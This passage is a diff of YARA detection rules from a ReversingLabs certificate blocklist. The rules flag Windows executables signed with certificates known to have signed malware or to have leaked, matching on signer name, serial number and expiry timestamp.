rule REVERSINGLABS_Cert_Blocklist_75Cf729F8A740Bbdef183A1C4D86A02F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Umbor LLC" and pe.signatures [ i ] . serial == "75:cf:72:9f:8a:74:0b:bd:ef:18:3a:1c:4d:86:a0:2f" and 1604223894 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Karim Lammali" and pe.signatures [ i ] . serial == "06:47:7e:34:25:f1:44:89:95:ce:d5:39:78:9e:68:42" and 1334275199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_2F64677254D3844Efdac2922123D05D1 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0450A7C1C36951Da09C8Ad0E7F716Ff2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "de9ef02d-a723-5013-9f91-e394edc23855" + id = "b4a56bbe-f2ba-52df-832d-35b92ab73683" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6462-L6478" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L549-L565" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f9f1f629e03563ece0fe5186b199e2f030dce7f58fb259de1aeb7387c76fa902" + logic_hash = "cb594607ceef1b8d79145ad3905fb2c38d2ed3f3e6c8a0a793fc2dc9d0a21855" score = 75 quality = 90 tags = "INFO, FILE" @@ -16061,21 +38455,21 @@ rule REVERSINGLABS_Cert_Blocklist_2F64677254D3844Efdac2922123D05D1 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ORGANICUP ApS" and pe.signatures [ i ] . serial == "2f:64:67:72:54:d3:84:4e:fd:ac:29:22:12:3d:05:d1" and 1605640092 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PS Partnership" and pe.signatures [ i ] . serial == "04:50:a7:c1:c3:69:51:da:09:c8:ad:0e:7f:71:6f:f2" and 1362182399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0F9Fbdab9B39645Cf3211F87Abb5Ddb7 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "22bd8590-7a95-564c-ad77-fb20569de51d" + id = "ad24d2e9-ae3d-5fae-b58d-965bd1de2a99" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6480-L6496" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L567-L583" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "73d80e6a0dc2316524a55a9627792b9b4488d238ef529f1767de182956b0865e" + logic_hash = "ba5885c7769b5ead261815880033b0df50dc4f7684fdb37398ab01bfebda0e37" score = 75 quality = 90 tags = "INFO, FILE" @@ -16085,21 +38479,21 @@ rule REVERSINGLABS_Cert_Blocklist_32Fbf8Cfa43Dca3F85Efabe96Dfefa49 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Foxstyle LLC" and pe.signatures [ i ] . serial == "32:fb:f8:cf:a4:3d:ca:3f:85:ef:ab:e9:6d:fe:fa:49" and 1598255906 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "The Motivo Group, Inc." and pe.signatures [ i ] . serial == "0f:9f:bd:ab:9b:39:64:5c:f3:21:1f:87:ab:b5:dd:b7" and 1361318399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ef9D0Cf071D463Cd63D13083046A7B8D : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4211D2E4F0E87127319302C55B85Bcf2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "8751f71b-0ebb-5820-927c-684a5ae5ee7b" + id = "dbe2a945-cf13-564a-a95a-24534c70a723" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6498-L6516" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L585-L601" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2923979811504f78a79a2480600285a2697845e51870a44ed231a81e79807121" + logic_hash = "edf9bbface7fe943dfa4f5a6e8469802ccdbd3de9d3e6b8fabebb024c21bb9a9" score = 75 quality = 90 tags = "INFO, FILE" @@ -16109,21 +38503,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ef9D0Cf071D463Cd63D13083046A7B8D : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Rubin LLC" and ( pe.signatures [ i ] . serial == "00:ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d" or pe.signatures [ i ] . serial == "ef:9d:0c:f0:71:d4:63:cd:63:d1:30:83:04:6a:7b:8d" ) and 1605358307 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "yinsheng xie" and pe.signatures [ i ] . serial == "42:11:d2:e4:f0:e8:71:27:31:93:02:c5:5b:85:bc:f2" and 1360713599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_115Cf1353A0E33E19099A4867A4C750A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07B44Cdbfffb78De05F4261672A67312 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "c2564461-6731-5d7b-8dbb-560929b568d0" + id = "18787692-1233-5ea8-869c-feb530d06237" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6518-L6536" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L603-L619" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "2a3353c655531b113dc019a86288310881e3bbcb6c03670a805f22b185e09e6c" + logic_hash = "c88a8543782fc49d8aa68f3fc8052bd3316d10118dfb2ef2eef5006de657b6f1" score = 75 quality = 90 tags = "INFO, FILE" @@ -16133,21 +38527,21 @@ rule REVERSINGLABS_Cert_Blocklist_115Cf1353A0E33E19099A4867A4C750A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "212 NY Gifts, Inc." and ( pe.signatures [ i ] . serial == "00:11:5c:f1:35:3a:0e:33:e1:90:99:a4:86:7a:4c:75:0a" or pe.signatures [ i ] . serial == "11:5c:f1:35:3a:0e:33:e1:90:99:a4:86:7a:4c:75:0a" ) and 1605515909 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Paper Comercial Ltda" and pe.signatures [ i ] . serial == "07:b4:4c:db:ff:fb:78:de:05:f4:26:16:72:a6:73:12" and 1359503999 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5Cf3778Bb11115A884E192A7Cb807599 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_4F8B9A1Ba5E60C754Dbb40Ddee7905E2 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "cd643ad5-254a-5c53-a6f2-b263ff539cd3" + id = "9b6ba6bb-a796-59e1-a38b-04d4b60a99a6" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6538-L6556" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L621-L637" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "4242ef4a30bb09463ec5a6df9367915788a2aa782df6c463bcf966d2aad63c1d" + logic_hash = "2a0d07d47cd41db5dc170a29607b6c1f2e3b7c0785f83b211f68f9cb9368e350" score = 75 quality = 90 tags = "INFO, FILE" @@ -16157,21 +38551,21 @@ rule REVERSINGLABS_Cert_Blocklist_5Cf3778Bb11115A884E192A7Cb807599 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "SLOMATIC d.o.o." and ( pe.signatures [ i ] . serial == "00:5c:f3:77:8b:b1:11:15:a8:84:e1:92:a7:cb:80:75:99" or pe.signatures [ i ] . serial == "5c:f3:77:8b:b1:11:15:a8:84:e1:92:a7:cb:80:75:99" ) and 1605006199 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NOX Entertainment Co., Ltd" and pe.signatures [ i ] . serial == "4f:8b:9a:1b:a5:e6:0c:75:4d:bb:40:dd:ee:79:05:e2" and 1348617599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_82Cb93593B658100Cdd7A00C874287F2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0A389B95Ee736Dd13Bc0Ed743Fd74D2F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "85df653a-a4a3-5d0e-86f4-cad0249cd3d3" + id = "43cce248-2322-5607-8706-aeab046a30b9" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6558-L6576" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L639-L655" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "c77881e0365c9fc398097d0b6e077330a5f0fcbb53279bfde96b3c01df914c55" + logic_hash = "8b83e4aa47cea7cadf4b4a9f4e044478a62f4233e082fb52f9ed906d80a552aa" score = 75 quality = 90 tags = "INFO, FILE" @@ -16181,21 +38575,21 @@ rule REVERSINGLABS_Cert_Blocklist_82Cb93593B658100Cdd7A00C874287F2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Sportsonline24 B.V." and ( pe.signatures [ i ] . serial == "00:82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2" or pe.signatures [ i ] . serial == "82:cb:93:59:3b:65:81:00:cd:d7:a0:0c:87:42:87:f2" ) and 1605117874 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BUSTER ASSISTENCIA TECNICA ELETRONICA LTDA - ME" and pe.signatures [ i ] . serial == "0a:38:9b:95:ee:73:6d:d1:3b:c0:ed:74:3f:d7:4d:2f" and 1351814399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_9A8Bcfd05F86B15D0C99F50Cf414Bd00 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1A3Faaeb3A8B93B2394Fec36345996E6 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4446aead-9505-545a-8d3a-6ad844d348d3" + id = "343e4dbe-21a6-5758-be81-e5e7918c54fa" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6578-L6596" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L657-L673" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "803d70dddeff51b753b577ea196b12570847c6875ae676a2d12cf1ca9323be34" + logic_hash = "a3bd9aaba8dbdb340b5d3013684584524eb08b11339985ba6ca0291b8c8bc692" score = 75 quality = 90 tags = "INFO, FILE" @@ -16205,21 +38599,21 @@ rule REVERSINGLABS_Cert_Blocklist_9A8Bcfd05F86B15D0C99F50Cf414Bd00 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "AI Software a.s." and ( pe.signatures [ i ] . serial == "00:9a:8b:cf:d0:5f:86:b1:5d:0c:99:f5:0c:f4:14:bd:00" or pe.signatures [ i ] . serial == "9a:8b:cf:d0:5f:86:b1:5d:0c:99:f5:0c:f4:14:bd:00" ) and 1592442000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "salvatore macchiarella" and pe.signatures [ i ] . serial == "1a:3f:aa:eb:3a:8b:93:b2:39:4f:ec:36:34:59:96:e6" and 1468454400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_95E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1A35Acce5B0C77206B1C3Dc2A6A2417C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6b992971-6a1f-53e3-8651-f25a6b761c41" + id = "0e42ffb8-07f2-55e4-977d-7760e923d76d" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6598-L6616" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L675-L691" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bd198665ae952e11c91adc329908e3cd55a55365875200cd81d2f71fd092f1fe" + logic_hash = "ce161fdd511e0efa042516ead09c6ab5f8dcf54f2087cdccbfed8e7cdfbd25b2" score = 75 quality = 90 tags = "INFO, FILE" @@ -16229,21 +38623,21 @@ rule REVERSINGLABS_Cert_Blocklist_95E5793F2Abe0B4Ec9Be54Fd24F76Ae5 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Kommservice LLC" and ( pe.signatures [ i ] . serial == "00:95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5" or pe.signatures [ i ] . serial == "95:e5:79:3f:2a:be:0b:4e:c9:be:54:fd:24:f7:6a:e5" ) and 1604933746 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "cd ingegneri associati srl" and pe.signatures [ i ] . serial == "1a:35:ac:ce:5b:0c:77:20:6b:1c:3d:c2:a6:a2:41:7c" and 1166054399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_133565779808C3B79D8E3F70A9C3Ffac : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6Eb40Ea11Eaac847B050De9B59E25Bdc : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "bc3f54a6-723d-5de5-9a59-2be8a005cedc" + id = "e9f94ae9-0158-5789-b4d2-88f750442274" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6618-L6634" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L693-L709" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "b9fb2e3cc150b0278e67c673f7c01174c30b2cc4458c9c5e573661071795b793" + logic_hash = "d0e7ab78fb42c9a8f19cba8e6a8b15d584651a23f1088e1f311589d46145e963" score = 75 quality = 90 tags = "INFO, FILE" @@ -16253,21 +38647,21 @@ rule REVERSINGLABS_Cert_Blocklist_133565779808C3B79D8E3F70A9C3Ffac : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO Istok" and pe.signatures [ i ] . serial == "13:35:65:77:98:08:c3:b7:9d:8e:3f:70:a9:c3:ff:ac" and 1605019819 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "My Free Internet Update" and pe.signatures [ i ] . serial == "6e:b4:0e:a1:1e:aa:c8:47:b0:50:de:9b:59:e2:5b:dc" and 1062201599 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_6724340Ddbc7252F7Fb714B812A5C04D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "4668ceb3-8bf2-5be4-9a1a-d0d902c35cf0" + id = "2b61de88-9fea-5c3f-a7ab-db91e90b4965" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6636-L6654" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L711-L727" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f13f9b70a2a3187522e4fff45a8a425863ad6242f82592aa9319c8d5fddeeefa" + logic_hash = "bc72c2ca5f81198684233e23260831da5b9ef4e7ac5a25abbdb303eecc38bd53" score = 75 quality = 90 tags = "INFO, FILE" @@ -16277,21 +38671,21 @@ rule REVERSINGLABS_Cert_Blocklist_7E0Ccda0Ef37Acef6C2Ebe4538627E5C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Orangetree B.V." and ( pe.signatures [ i ] . serial == "00:7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c" or pe.signatures [ i ] . serial == "7e:0c:cd:a0:ef:37:ac:ef:6c:2e:be:45:38:62:7e:5c" ) and 1606159604 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "YNK JAPAN Inc" and pe.signatures [ i ] . serial == "67:24:34:0d:db:c7:25:2f:7f:b7:14:b8:12:a5:c0:4d" and 1306195199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Bad35Fd70025D46C56B89E32B1A3954C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0813Ee9B7B9D7C46001D6Bc8784Df1Dd : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "871e399f-8498-5d66-ab5e-24e48491124f" + id = "0915fae0-ac6f-5a92-ab44-80f840fd5061" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6656-L6674" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L729-L745" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "1020250fc5030e50bc1e7d0f0c5a77e462a53f47bfcc4383c682b34fed567492" + logic_hash = "1a25a2f25fa8d5075113cbafb73e80e741268d6b2f9e629fd54ffca9e82409b0" score = 75 quality = 90 tags = "INFO, FILE" @@ -16301,21 +38695,21 @@ rule REVERSINGLABS_Cert_Blocklist_Bad35Fd70025D46C56B89E32B1A3954C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Fort LLC" and ( pe.signatures [ i ] . serial == "00:ba:d3:5f:d7:00:25:d4:6c:56:b8:9e:32:b1:a3:95:4c" or pe.signatures [ i ] . serial == "ba:d3:5f:d7:00:25:d4:6c:56:b8:9e:32:b1:a3:95:4c" ) and 1604937337 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Les Garcons s'habillent" and pe.signatures [ i ] . serial == "08:13:ee:9b:7b:9d:7c:46:00:1d:6b:c8:78:4d:f1:dd" and 1334707199 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_7B91468122273Aa32B7Cfc80C331Ea13 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_530591C61B5E1212F659138B7Cea0A97 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2a949015-3b7b-5123-8df1-f2199ef636c9" + id = "71cf0653-5aab-5d5c-aa3a-f42f40196412" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6676-L6692" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L747-L763" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "49d6fd8b325df4bc688275a09cee35e1040172eb6f3680aa2b6f0f3640c0782e" + logic_hash = "0ef01e542d145475713bbd373bdcdae5f25bfd823a60e7d40fe9a6b6039c83e0" score = 75 quality = 90 tags = "INFO, FILE" @@ -16325,21 +38719,21 @@ rule REVERSINGLABS_Cert_Blocklist_7B91468122273Aa32B7Cfc80C331Ea13 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO KBI" and pe.signatures [ i ] . serial == "7b:91:46:81:22:27:3a:a3:2b:7c:fc:80:c3:31:ea:13" and 1586942863 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x97\\xA5\\xE7\\x85\\xA7\\xE5\\xB3\\xB0\\xE5\\xB7\\x9D\\xE5\\x9B\\xBD\\xE9\\x99\\x85\\xE7\\x9F\\xBF\\xE4\\xB8\\x9A\\xE8\\xB4\\xB8\\xE6\\x98\\x93\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "53:05:91:c6:1b:5e:12:12:f6:59:13:8b:7c:ea:0a:97" and 1403654399 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3E267B5D14Cdf1F645C1Ec545Cec3Aee : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_07270Ff9 : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "adff6ae2-076c-5c97-9fea-f95d770a3821" + id = "fcd2d82a-b51d-53ff-bfae-3c83147c1903" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6694-L6710" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L765-L781" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e36ae57d715a71aa7d26dd003d647dfa7ab16d64e5411b6c49831544fc482645" + logic_hash = "8f0da7c330464184fa1d5bf8d51dd8ad2e8637710a36972dcab03629cb57e910" score = 75 quality = 90 tags = "INFO, FILE" @@ -16349,21 +38743,21 @@ rule REVERSINGLABS_Cert_Blocklist_3E267B5D14Cdf1F645C1Ec545Cec3Aee : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OOO KBI" and pe.signatures [ i ] . serial == "3e:26:7b:5d:14:cd:f1:f6:45:c1:ec:54:5c:ec:3a:ee" and 1579825892 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DigiNotar Cyber CA" and pe.signatures [ i ] . serial == "07:27:0f:f9" and 1308182400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_Ae6D3C0269Ef6497E14379C51A8507Ba : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0727100D : INFO FILE { meta: - description = "Certificate used for digitally signing malware." + description = "The digital certificate has leaked." author = "ReversingLabs" - id = "5b8e7730-cb8b-5c51-9784-d944453bc898" + id = "1ee866ec-a445-5a79-b824-37f28a49f20b" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L6712-L6730" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L783-L799" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "23570962c80bddce28a3dee9d4d864cf3cf64018eec6fbcbdd3ca2658c9f660f" + logic_hash = "a09f4004ed002b90d67a3baddde74832e6c7b70e8b330347ef169460750aa344" score = 75 quality = 90 tags = "INFO, FILE" @@ -16373,21 +38767,21 @@ rule REVERSINGLABS_Cert_Blocklist_Ae6D3C0269Ef6497E14379C51A8507Ba : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VELES PROPERTIES LIMITED" and ( pe.signatures [ i ] . serial == "00:ae:6d:3c:02:69:ef:64:97:e1:43:79:c5:1a:85:07:ba" or pe.signatures [ i ] . serial == "ae:6d:3c:02:69:ef:64:97:e1:43:79:c5:1a:85:07:ba" ) and 1578566034 <= pe.signatures [ i ] . not_after ) + uint16( 